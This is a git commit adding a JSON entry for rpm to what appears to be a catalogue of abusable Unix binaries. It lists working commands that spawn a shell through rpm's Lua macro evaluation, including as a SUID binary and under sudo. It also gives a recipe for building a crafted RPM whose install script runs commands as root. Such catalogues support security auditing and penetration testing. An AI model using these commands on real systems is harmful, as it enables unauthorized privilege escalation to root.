add data for rpm

master
t0thkr1s 4 years ago
parent 54fb5e8384
commit 92b0e6dfa4

@ -0,0 +1,23 @@
{
"functions": {
"shell": [
{
"code": "rpm --eval '%{lua:os.execute(\"/bin/sh\")}'"
}
],
"suid": [
{
"code": "./rpm --eval '%{lua:os.execute(\"/bin/sh\", \"-p\")}'"
}
],
"sudo": [
{
"code": "sudo rpm --eval '%{lua:os.execute(\"/bin/sh\")}'"
},
{
"description": "It runs commands using a specially crafted RPM package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```",
"code": "sudo rpm -ivh x-1.0-1.noarch.rpm\n"
}
]
}
}
Loading…
Cancel
Save